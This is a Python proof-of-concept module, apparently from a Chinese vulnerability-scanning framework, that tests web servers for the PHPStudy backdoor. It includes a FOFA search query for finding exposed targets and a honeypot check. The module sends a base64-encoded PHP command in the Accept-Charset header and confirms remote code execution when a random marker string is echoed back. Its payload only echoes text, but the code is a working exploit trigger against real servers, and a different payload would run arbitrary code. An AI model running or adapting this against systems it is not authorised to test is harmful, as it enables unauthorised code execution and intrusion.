2021-12-21 16:37:18 +08:00
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# coding:utf-8
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import requests
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from lib.core.common import url_handle,get_random_ua,random_str
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from lib.core.poc import POCBase
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# ...
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import urllib3,base64
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urllib3.disable_warnings()
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class POC(POCBase):
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_info = {
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"author" : "jijue", # POC作者
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"version" : "1", # POC版本，默认是1
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"CreateDate" : "2021-06-09", # POC创建时间
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"UpdateDate" : "2021-06-09", # POC创建时间
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"PocDesc" : """
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略
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""", # POC描述，写更新描述，没有就不写
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"name" : "PHPStudy 后门检测", # 漏洞名称
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2022-01-04 17:24:54 +08:00
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"VulnID" : "Blen-2021-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
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2021-12-21 16:37:18 +08:00
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"AppName" : "phpstudy", # 漏洞应用名称
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"AppVersion" : "phpStudy2016和phpStudy2018自带的php-5.2.17、php-5.4.45", # 漏洞应用版本
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"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
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"VulnDesc" : """
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我直接抄了：
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2018年12月4日，西湖区公安分局网警大队接报案，某公司发现公司内有20余台计算机被执行危险命令，
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疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。通过专业技术溯源进行分析，
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查明了数据回传的信息种类、原理方法、存储位置，并聘请了第三方鉴定机构对软件中的“后门”进行司法鉴定，
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鉴定结果是该“后门”文件具有控制计算机的功能，嫌疑人已通过该后门远程控制下载运行脚本实现收集用户个人信息。
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在2019年9月20日，网上爆出phpstudy存在“后门”。作者随后发布了声明。
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""", # 漏洞简要描述
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"fofa-dork":"""
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"phpstudy"
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""", # fofa搜索语句
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"example" : "", # 存在漏洞的演示url，写一个就可以了
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"exp_img" : "", # 先不管
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}
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def _verify(self):
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"""
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返回vuln
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存在漏洞：vuln = [True,html_source] # html_source就是页面源码
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不存在漏洞：vuln = [False,""]
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"""
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vuln = [False,""]
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url = self.target + "" # url自己按需调整
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rnd=random_str()
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headers = {"User-Agent":get_random_ua(),
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"Connection":"close",
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'Accept-Encoding':'gzip,deflate',
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"accept-charset":str(base64.b64encode("echo \"{rnd}\";".format(rnd=rnd).encode("utf-8")),"utf-8")
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# "Content-Type": "application/x-www-form-urlencoded",
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}
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try:
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"""
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检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
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"""
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req = requests.get(url,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
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if rnd in req.text:#req.status_code == 200 and :
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vuln = [True,req.text]
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else:
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vuln = [False,req.text]
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except Exception as e:
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raise e
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# 以下逻辑酌情使用
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if self._honeypot_check(vuln[1]) == True:
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vuln[0] = False
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return vuln
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def _attack(self):
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return self._verify()
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